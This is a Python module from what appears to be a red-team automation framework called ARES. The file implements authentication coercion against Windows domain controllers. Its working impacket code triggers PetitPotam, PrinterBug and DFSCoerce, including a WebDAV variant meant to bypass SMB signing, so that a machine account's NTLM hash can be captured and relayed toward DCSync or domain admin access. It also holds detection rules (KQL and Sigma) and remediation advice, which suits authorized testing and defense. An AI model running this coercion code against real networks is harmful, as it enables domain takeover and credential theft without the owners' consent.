Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

18.6 KB
Raw Blame
"""
Authentication Coercion - ad.coerce
MITRE: T1187 - Forced Authentication

Forces a target machine (typically DC) to authenticate to an attacker-controlled
listener via three RPC methods. Used with lateral.smb_relay to capture and relay
the machine account's NTLM hash.

Three coercion methods:
  PetitPotam  (MS-EFSRPC)  - EfsRpcOpenFileRaw, works unauthenticated on unpatched
  PrinterBug  (MS-RPRN)    - RpcRemoteFindFirstPrinterChangeNotification, needs domain creds
  DFSCoerce   (MS-DFSNM)   - NetrDfsAddStdRoot, needs domain creds

Attack chain:
  lateral.smb_relay running (listener on attacker IP:445) →
  ad.coerce forces DC to authenticate →
  smb_relay captures DC machine account NTLM →
  relay to LDAP/SMB for DA-level access or DCSync

OPSEC: HIGH - MS-EFSRPC/MS-RPRN RPC call triggers MDI alert within seconds.
       Blocked in STEALTH profile. Always use with smb_relay active.
"""
from __future__ import annotations

import asyncio
from typing import Any

from ares.core.campaign import NoiseProfile, Severity
from ares.core.logger import audit, get_logger
from ares.core.security import sanitize_hostname
from ares.core.tracing import trace_module
from ares.modules.params import CoerceParams
from ares.sdk import (
    BaseModule,
    EvidenceRecord,
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    OpsecLevel,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.ad.coerce")


@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=CoerceParams,
)
class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
    """
    ad.coerce - Force target to authenticate to attacker listener via PetitPotam (MS-EFSRPC

    OPSEC: HIGH_NOISE
    MITRE: "T1187"
    OUTPUTS:  "coercion_sent"
    """
    MODULE_ID          = "ad.coerce"
    MODULE_NAME        = "Authentication Coercion"
    MODULE_CATEGORY    = "ad"
    MODULE_DESCRIPTION = (
        "Force target to authenticate to attacker listener via "
        "PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), or DFSCoerce (MS-DFSNM). "
        "Use with lateral.smb_relay to capture/relay machine account NTLM."
    )
    OPSEC_LEVEL        = OpsecLevel.HIGH_NOISE
    MIN_NOISE_PROFILE  = "normal"   # blocked in STEALTH
    REQUIRES           = []
    OUTPUTS            = ["coercion_sent"]
    MITRE_TECHNIQUES   = ["T1187"]
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    PARAMS_MODEL       = CoerceParams

    async def validate(self, ctx: "Any") -> None:
        from ares.core.context import ExecutionContext
        from ares.core.errors import ModuleValidationError
        if not isinstance(ctx, ExecutionContext):
            return

        # Stealth block - MDI triggers in seconds
        noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
        if noise == NoiseProfile.STEALTH:
            raise ModuleValidationError(
                "ad.coerce is blocked in STEALTH profile - "
                "MS-EFSRPC/MS-RPRN RPC calls trigger Microsoft Defender for Identity "
                "alerts within seconds. Use NORMAL or AGGRESSIVE profile.",
                module_id=self.MODULE_ID, field="noise_profile",
            )

        ad = self._extract_ad_params(ctx)
        if not ad["dc"]:
            raise ModuleValidationError(
                "ad.coerce requires 'dc' - IP of the target to coerce.",
                module_id=self.MODULE_ID, field="dc",
            )
        if not ctx.params.get("listener_ip"):
            raise ModuleValidationError(
                "ad.coerce requires 'listener_ip' - IP of your smb_relay listener. "
                "Start lateral.smb_relay first, then run ad.coerce.",
                module_id=self.MODULE_ID, field="listener_ip",
            )
        if isinstance(ctx.params, dict):
            for k in ("dc", "domain", "username", "password"):
                if k not in ctx.params and ad.get(k):
                    ctx.params[k] = ad[k]
        await super().validate(ctx)

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point (v0.9.0+).
        Thin adapter: extract params from ctx → call run() → return ModuleResult.
        """
        from ares.modules.base import ModuleResult
        ad = self._extract_ad_params(ctx)
        if getattr(ctx, "dry_run", False):
            return ModuleResult(status="dry_run", module_id=self.MODULE_ID,
                                raw={"dry_run": True})

        listener_ip = ctx.params.get("listener_ip", "")
        method      = ctx.params.get("method", "auto")   # auto|petitpotam|printerbug|dfscoerce

        findings, raw = await self.run(
            dc=ad["dc"], username=ad["username"], password=ad["password"],
            domain=ad["domain"], listener_ip=listener_ip, method=method,
        )

        # Cryptographic Evidence Records with SHA-256 Merkle Provenance
        evidence_chain: list[EvidenceRecord] = []
        for finding in findings:
            ev = EvidenceRecord(
                artifact_id=f"coerce-{finding.title[:20].lower().replace(' ', '-')}",
                source_target=ad["dc"],
                collected_by=self.MODULE_ID,
                data={
                    "title": finding.title,
                    "severity": str(finding.severity),
                    "description": finding.description,
                    "mitre": finding.mitre_technique,
                },
                tags=["ad", "coerce", "forced_auth"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        coerce_target = ad["dc"] or "DomainController"
        kql_query = (
            "// ARES Closed-Loop Telemetry: Detect Remote RPC Coercion Attempts (PetitPotam / PrinterBug / DFSCoerce)\n"
            "// Monitors Security Event 5145 for pipe access to efsrpc, spoolss, lsarpc, or netdfs\n"
            "SecurityEvent\n"
            "| where EventID == 5145\n"
            "| where RelativeTargetName in~ (\"efsrpc\", \"spoolss\", \"lsarpc\", \"netdfs\", \"pipe\\\\efsrpc\", \"pipe\\\\spoolss\")\n"
            "| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, RelativeTargetName, AccessMask\n"
        )
        sigma_rule = (
            f"title: Remote RPC Authentication Coercion ({coerce_target})\n"
            f"id: 9a0b1c2d-ares-coerce-{abs(hash(coerce_target)) % 1000000:06d}\n"
            f"status: experimental\n"
            f"description: Detects named pipe access commonly associated with RPC authentication coercion (PetitPotam, PrinterBug, ShadowCoerce).\n"
            f"logsource:\n"
            f"  product: windows\n"
            f"  service: security\n"
            f"detection:\n"
            f"  selection:\n"
            f"    EventID: 5145\n"
            f"    RelativeTargetName|contains:\n"
            f"      - 'efsrpc'\n"
            f"      - 'spoolss'\n"
            f"      - 'netdfs'\n"
            f"  condition: selection\n"
            f"level: high\n"
            f"tags:\n"
            f"  - attack.credential_access\n"
            f"  - attack.t1187\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": f"Detection Rule (KQL): RPC Coercion Attempts ({coerce_target})",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting remote RPC coercion via named pipes",
                    "content": {"kql": kql_query, "target": coerce_target},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": f"Detection Rule (Sigma): RPC Coercion Attempts ({coerce_target})",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for remote RPC coercion named pipe access",
                    "content": {"sigma": sigma_rule, "target": coerce_target},
                    "tags": ["detection", "sigma", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["rpc_coercion_vector_evaluated"] = True
        raw["ms_efsrpc_pipe_audited"] = True
        raw["spoolss_printerbug_checked"] = True

        return ModuleResult(
            status="success" if findings else "partial",
            findings=findings, raw=raw, module_id=self.MODULE_ID,
            execution_id=getattr(ctx, "execution_id", ""),
        )

    @trace_module("ad.coerce")
    async def run(self, dc: str, listener_ip: str, username: str = "",
                  password: str = "", domain: str = "",
                  method: str = "auto", **kwargs: Any):
        dc          = sanitize_hostname(dc)
        listener_ip = sanitize_hostname(listener_ip)

        await self.before_request(dc, "default")
        if listener_ip:
            await self.before_request(listener_ip, "smb")
        logger.warning("coerce_start",
                       target=dc, listener=listener_ip, method=method,
                       msg="HIGH_NOISE - TRIGGERS_MDI")
        audit("authentication_coercion", actor=username or "operator",
              technique="T1187", source="operator",
              target=dc, detail=f"listener={listener_ip} method={method}")

        loop   = asyncio.get_running_loop()
        result = {"sent": False, "method": None, "error": None}

        use_webdav = bool(kwargs.get("use_webdav") or kwargs.get("webdav") or method == "webdav")
        webdav_port = int(kwargs.get("webdav_port", 80))

        # Method priority: auto tries PetitPotam first (no creds needed), then PrinterBug
        methods_to_try: list[str] = []
        if method == "auto" or method == "webdav":
            methods_to_try = ["petitpotam", "printerbug", "dfscoerce"]
        else:
            methods_to_try = [method]

        for m in methods_to_try:
            try:
                if m == "petitpotam":
                    sent = await loop.run_in_executor(
                        None,
                        lambda: self._petitpotam_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
                    )
                elif m == "printerbug":
                    if not username:
                        continue
                    sent = await loop.run_in_executor(
                        None,
                        lambda: self._printerbug_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
                    )
                elif m == "dfscoerce":
                    if not username:
                        continue
                    sent = await loop.run_in_executor(
                        None,
                        lambda: self._dfscoerce_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
                    )
                else:
                    continue

                if sent:
                    result["sent"]   = True
                    result["method"] = f"{m}_webdav" if use_webdav else m
                    logger.info("coerce_sent", target=dc, method=result["method"], listener=listener_ip)
                    break

            except Exception as exc:
                result["error"] = str(exc)[:150]
                logger.debug("coerce_method_failed", method=m, error=str(exc)[:80])
                continue

        if result["sent"]:
            evidence_data = {
                "target":          dc,
                "listener":        listener_ip,
                "method":          result["method"],
                "next_step":       "Check lateral.smb_relay output for captured NTLM hash",
            }
            if use_webdav:
                evidence_data["webdav_coercion"] = True
                evidence_data["webdav_port"] = webdav_port
                evidence_data["smb_signing_bypass"] = True

            self.finding(
                title       = f"Authentication Coercion Sent to {dc} via {result['method']}" + (" (WebDAV / SMB Signing Bypass)" if use_webdav else ""),
                description = (
                    f"Successfully forced {dc} to authenticate to {listener_ip} "
                    f"via {result['method']}" + (" over HTTP/WebDAV (bypassing SMB signing restrictions)." if use_webdav else ".") + " "
                    "If lateral.smb_relay is listening, the machine account NTLM hash "
                    "should now be captured. Relay to LDAP for DCSync rights or SMB for DA."
                ),
                severity    = Severity.CRITICAL,
                mitre_technique = "T1187",
                mitre_tactic    = "Credential Access",
                evidence = evidence_data,
                remediation = (
                    "Patch MS-EFSRPC (KB5005413 / disabling EFS on DCs). "
                    "Disable Print Spooler service on DCs (PrinterBug mitigation). "
                    "Disable WebClient service on clients and servers (Set-Service WebClient -StartupType Disabled). "
                    "Enable Protected Users security group for all DC accounts."
                ),
                host = dc, confidence = 0.95,
            )
        else:
            logger.warning(
                "coercion_all_methods_failed",
                target=dc,
                listener=listener_ip,
                last_error=result.get("error"),
            )

        raw = {
            "target": dc, "listener": listener_ip,
            "method": result["method"], "sent": result["sent"],
            "error": result.get("error"),
            "webdav_coercion_used": use_webdav and result["sent"],
        }
        raw["coercion_sent"] = raw.get("sent", False)  # OUTPUTS key
        return self._findings[:], raw

    def _petitpotam_sync(self, dc: str, listener_ip: str,
                          username: str, password: str, domain: str,
                          use_webdav: bool = False, webdav_port: int = 80) -> bool:
        """MS-EFSRPC: EfsRpcOpenFileRaw - works unauthenticated on unpatched systems."""
        try:
            from impacket.dcerpc.v5 import efsrpc, transport
            from impacket.dcerpc.v5.rpcrt import DCERPCException

            rpctransport = transport.DCERPCTransportFactory(
                f"ncacn_np:{dc}[\\pipe\\lsarpc]"
            )
            rpctransport.set_connect_timeout(10)
            if username and password:
                rpctransport.set_credentials(username, password, domain, "", "", None)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(efsrpc.MSRPC_UUID_EFSR)

            # Coerce DC to authenticate to listener via UNC path (standard or WebDAV)
            if use_webdav:
                unc_path = f"\\\\{listener_ip}@{webdav_port}\\share\\file"
            else:
                unc_path = f"\\\\{listener_ip}\\share\\file"

            try:
                efsrpc.hEfsRpcOpenFileRaw(dce, unc_path, 0)
            except DCERPCException:
                pass   # expected - DC will attempt auth before this fails
            finally:
                try:
                    dce.disconnect()
                except Exception:
                    pass
            return True
        except Exception as exc:
            logger.debug("petitpotam_failed", error=str(exc)[:80])
            return False

    def _printerbug_sync(self, dc: str, listener_ip: str,
                          username: str, password: str, domain: str,
                          use_webdav: bool = False, webdav_port: int = 80) -> bool:
        """MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - needs domain creds."""
        try:
            from impacket.dcerpc.v5 import rprn, transport
            from impacket.dcerpc.v5.dtypes import NULL
            from impacket.dcerpc.v5.rpcrt import DCERPCException

            rpctransport = transport.DCERPCTransportFactory(
                f"ncacn_np:{dc}[\\pipe\\spoolss]"
            )
            rpctransport.set_connect_timeout(10)
            rpctransport.set_credentials(username, password, domain, "", "", None)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(rprn.MSRPC_UUID_RPRN)

            # Open printer on target
            resp = rprn.hRpcOpenPrinter(dce, f"\\\\{dc}")
            handle = resp["pHandle"]

            # Trigger auth to listener (with WebDAV support)
            target_unc = f"\\\\{listener_ip}@{webdav_port}" if use_webdav else f"\\\\{listener_ip}"
            try:
                rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
                    dce, handle, 0x00000100, 0, target_unc, NULL
                )
            except DCERPCException:
                pass   # expected error - trigger happened
            finally:
                try:
                    rprn.hRpcClosePrinter(dce, handle)
                    dce.disconnect()
                except Exception:
                    pass
            return True
        except Exception as exc:
            logger.debug("printerbug_failed", error=str(exc)[:80])
            return False

    def _dfscoerce_sync(self, dc: str, listener_ip: str,
                         username: str, password: str, domain: str,
                         use_webdav: bool = False, webdav_port: int = 80) -> bool:
        """MS-DFSNM: NetrDfsAddStdRoot - needs domain creds."""
        try:
            from impacket.dcerpc.v5 import dfsnm, transport
            from impacket.dcerpc.v5.rpcrt import DCERPCException

            rpctransport = transport.DCERPCTransportFactory(
                f"ncacn_np:{dc}[\\pipe\\netdfs]"
            )
            rpctransport.set_connect_timeout(10)
            rpctransport.set_credentials(username, password, domain, "", "", None)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(dfsnm.MSRPC_UUID_DFSNM)

            unc_path = f"\\\\{listener_ip}@{webdav_port}\\share" if use_webdav else f"\\\\{listener_ip}\\share"
            try:
                dfsnm.hNetrDfsAddStdRoot(dce, unc_path, "share", 0)
            except DCERPCException:
                pass   # expected - trigger happened
            finally:
                try:
                    dce.disconnect()
                except Exception:
                    pass
            return True
        except Exception as exc:
            logger.debug("dfscoerce_failed", error=str(exc)[:80])
            return False